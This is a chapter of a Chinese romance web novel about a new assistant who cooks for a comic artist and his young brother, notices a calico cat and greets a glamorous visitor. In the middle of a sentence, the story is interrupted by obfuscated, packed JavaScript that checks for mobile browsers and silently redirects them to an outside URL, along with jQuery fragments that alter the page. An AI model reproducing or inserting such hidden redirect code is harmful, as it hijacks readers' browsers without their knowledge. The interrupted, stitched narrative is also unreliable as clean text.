4. 三花

作品:《亲爱的遗产

    奇妍被景梦的直率逗笑了,那笑容软化了她脸上令人捉摸不透的某种幽沉。“你想吃什么?”


    “炸鸡!汉堡!可乐!薯条!”景梦微微偏头,一连串词汇脱口而出。他冲奇妍绽放一个灿烂的,有点像比赛获胜时才会有的笑脸。


    奇妍食指随意刮过自己鼻尖,她正要接话。


    “不行。”景燃突然出声。


    他眉眼间有些愠怒,沉声说道,“多吃蔬菜。景梦,你别让我念叨。”


    “那、番茄意面呢?”景梦试探着问,汗津津的小脸上,长长的睫毛垂着,在脸颊上投下小片阴影。


    “可以。”奇妍立即应下。


    景梦赶紧牵住奇妍的手,两个人头也不回地往楼下跑。


    景燃发出一声嗤笑。


    “两个小孩儿。”


    附近的生鲜店不大,但货品齐全,走在里面,比起蔬菜的气味,更被留意,让人无所遁形,是商店千篇一律的白色照明灯。


    她手指拂过光滑紧实的表皮,选择了颜色最红润饱满的几只番茄。又拣了紫皮的洋葱,一盒新鲜的鸡蛋和两瓶牛奶。


    “姐姐,你怎么啦?”奇妍仅仅是手臂有些僵麻,走路的速度迟缓了些,三秒后,就听见景梦的关心。


    “没事。”


    景梦跟在她身侧,提着一个对他而言略显宽大的深蓝色购物篮。他时不时会因为力气耗尽而深呼吸,却仍不忘见缝插针地和奇妍聊天。


    “哥哥画漫画很厉害的!”小男孩的语气里充满了近乎膨胀的骄傲。


    虽然在哥哥面前张狂,私底下却很崇拜哥哥呢。


    “但是他不让我看,”景梦脸上流露出一种甜蜜的烦恼,“他说小孩看了会做噩梦。”


    “这应该是真的。”奇妍顺着他的话说,抬手拿过一包细长的意大利面放入篮中。


    景梦安静了一会,扯扯她袖子,奇妍会意,撩折裙摆,低下身来。景梦用气声说话,温热的吐息喷洒在她脸颊和耳畔。


    “有次我不小心,真的只是不小心哦,看到画里面的人……在……在接吻。”


    男孩乌黑的头发蓬松柔软,蹙着眉头,似乎有什么困惑,紧接着又仔细地补充,“不过那个姐姐,把亲她的男孩子一巴掌扇进河里了。”


    ……


    “姐姐,”结账时,奇妍正把一盒排骨放到收银台上,景梦突然拉住她手腕,仰起那张浮现迷茫的小脸问,“你会一直在这里工作吗?”


    奇妍愣了一下。“为什么这么问?”她这上班还没有十二小时。


    “之前的助理姐姐只做了一个月就走了。”景梦似乎有点不好意思,手指无意识地绞着衣角,“她说哥哥太难伺候了。”


    “我会尽量做久一点的。”奇妍揉了揉他柔软的头发。


    回家的路上,阳光热烈,景梦却明显话变少了,乖乖跟在奇妍身边,小手偶尔会碰到她的手背。


    走到那幢白色洋房门口时,他又拉住奇妍的衣角。奇妍嘴角不由自主地勾起一抹笑容。


    “姐姐,”他说得很认真,黑白分明的眼睛里映着天空般的纯真,“其实哥哥人很好的。他只是……只是不太会说话。”


    奇妍看着这个急于为兄长辩护的孩子,笑容溢于言表。


    “景梦,”她冷静地说,“你哥哥很会说话。他很厉害。”


    “啊?他对你说啥了啊?”景梦似乎有点惊讶。


    “真想知道?”她笑眯眯的问。


    景梦抱着她的胳膊撒娇,头发都要蹭出火星子了。


    奇妍弯腰凑近景梦的耳边,小声说了一句话,景梦嘴巴越张越大,最后一张清澈的小脸红得像柿子。


    “奇妍姐姐……你你你一定是骗我!”


    奇妍说,你哥哥告诉我,如果奇妍能照顾好景梦,就把景梦送给她。


    番茄切碎炒成酱,加一点糖中和酸味。意面煮得偏软,适合小孩吃。


    裹满肉酱的面条,香气浓郁,景梦吃得头也不抬,最后连盘子里的酱汁都用面包刮得干干净净。景燃胃口比她想象的好得多,一整包意面,三人竟然分完了。


    午后阳光变得醇厚温暖。


    奇妍端着两碟刚烤好的戚风蛋糕上楼时,看见景燃正对着屏幕皱眉,笔在修长的指间烦躁地转来转去。


    戚风蛋糕蓬松柔软,自在地散发鸡蛋与香草温暖的甜香。


    她放下碟子,瓷底与桌面轻碰,发出清脆的“嗒”“咯”。景燃完全沉浸在他自己的世界里。


    下午,奇妍整理堆积的线稿。她发现开始勾线后,景燃的画面几乎不见修改的痕迹,起笔落笔,线条干净利落得惊人。


    她一张张扫描,分镜行云流水,仿佛能听见画面里的风声、雨声、人物的呼吸与心跳。


    真是厉害啊。


    窗外忽然传来一声细弱的猫叫。


    一只三花猫不知何时蹲在了阳台上,隔着明净的玻璃,翠绿眸子好奇地往里张望。阳光照耀它身上黄、黑、白三色交织的皮毛,边缘毛茸茸地发着光。


    “很漂亮。”她无意识地呢喃出声。手指正要触到玻璃。


    “又来了,景梦经常喂它。”景燃抓了一下自己的头发,一脸烦闷,透着点无可奈何。


    “你不喜欢猫?”迎上他的目光,奇妍收回


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16993266|193827||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    手,指了指桌上的瓷碟。“蛋糕。”


    他“噢”了一声,算作应答。摘下耳机,搁到一旁。伸手拿过碟子。


    景燃用小银叉切下一角,送入口中,“嗯~!”他发出让屋里两个人都感到意外的惊叹声。


    “好吃。”他补充道。


    奇妍感叹道,画画果然是人最脆弱的时候。她现在看景燃,和景梦没什么区别了。


    “你的眼神,那是什么意思?”景燃握着笔压在眉毛上。


    “等会编给你。”“不听了。”


    空气里飘着蛋糕的甜香,户外隐约传来某种属于深秋的干燥草木气息。这种平静的午后,有一种让人心安的质地。


    奇妍继续手里的工作。她整理的速度很快,填码、分类,有条不紊。


    这是最不动脑子的活了,只讲究细心和专注。


    景燃吃完蛋糕,将碟子推回桌边。但在拿起笔之前,他抬眼,又看了奇妍一下。


    她正微微躬身,将杂物收进柜子里,侧脸沉静,几缕碎发垂在耳畔。


    那个含有审视,意味不明的目光。


    像羽毛般,在奇妍低垂的视野边缘轻轻落下。


    在离开房间前,奇妍又问了一遍,“你不喜欢猫吗?”


    他头发已经被他自己抓的有点卷翘了。


    “没什么喜欢不喜欢的,它到处乱跑。”


    奇妍适应助理工作的速度,比景燃预想得要快。


    这么听话又省心的人,确实不多见。


    门铃响起时,奇妍正在厨房清洗咖啡壶。


    水流“哗哗”地冲走泡沫残渍。


    她用毛巾快速擦干手,指上还留着清水的凉。


    奇妍拧动门把手。


    风一下子涌入,挟着一阵馥郁的酒盏花香气侵袭而来。


    金素贞棕红色的头发被风吹乱几缕,刮过艳红的唇边,她伸手挽到肩后,腕表泛着冷冷的铂金色。


    黑色丝质衬衫的领口敞开两粒纽扣,下摆束进同色裙装里。


    她一手提着印有知名甜品店烫金logo的粉色纸袋,另一只手臂上挎着鱼纹公文包。


    墨镜被推至发顶,露出一张妆容精致,带着点天然娇矜的脸。


    她迅速而明亮地扫过奇妍。细长的眉几不可察地挑了一下。


    “噢!你是新助理?亲爱的,景燃在吗?”


    金素贞的声音清脆,带有职业性的干练。气质底色却是冷的。


    和她的香水味一样,前调浓郁,后调肃穆。


    “在的,画画呢。”


    “您真好看!”奇妍一忍再忍,还是脱口而出。